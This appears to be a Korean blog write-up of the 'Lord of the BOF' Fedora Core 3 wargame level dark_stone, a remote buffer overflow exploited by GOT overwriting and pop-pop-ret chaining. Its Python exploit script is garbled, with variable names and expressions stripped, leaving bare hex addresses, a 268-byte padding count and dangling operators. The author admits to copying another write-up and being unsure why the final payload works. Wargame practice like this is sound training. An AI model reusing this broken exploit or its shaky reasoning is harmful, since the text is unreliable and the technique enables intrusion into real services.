FC3 evil_wizard -> dark_stone
Jan 6, 2017
dark_stone 코드
/*
The Lord of the BOF : The Fellowship of the BOF
- dark_stone
- Remote BOF on Fedora Core 3
- hint : GOT overwriting again
- port : TCP 8888
*/
// magic potion for you
void
int
hell_fire -> evil_wizard와 문제풀이 방법이 거의 같음.
똑같이 팝팝리턴으로 꿀빨면 된다.
아래는 풀이코드
#!/usr/bin/python
=
= 0x080484f3
= 0x08049870
= 0x0804862c
= 0x0804984c
= 0x08048438
= 0x08049858
=
= 0x00833603
=
+= * 268
+= + + +
+= + + +
+= + + +
+= + + +
+= + + +
+= +
=
print
=
break
break
=
print
자꾸 안되서 write-up 따라했다. ㅡㅡ
p(printf_plt) + "BBBB" + p(binsh)
는 안되는데 p(printf_plt) + p(binsh)
가 되는 이유를 모르겠다.
스택 한 칸 비워야되는 걸로 알고 있는데...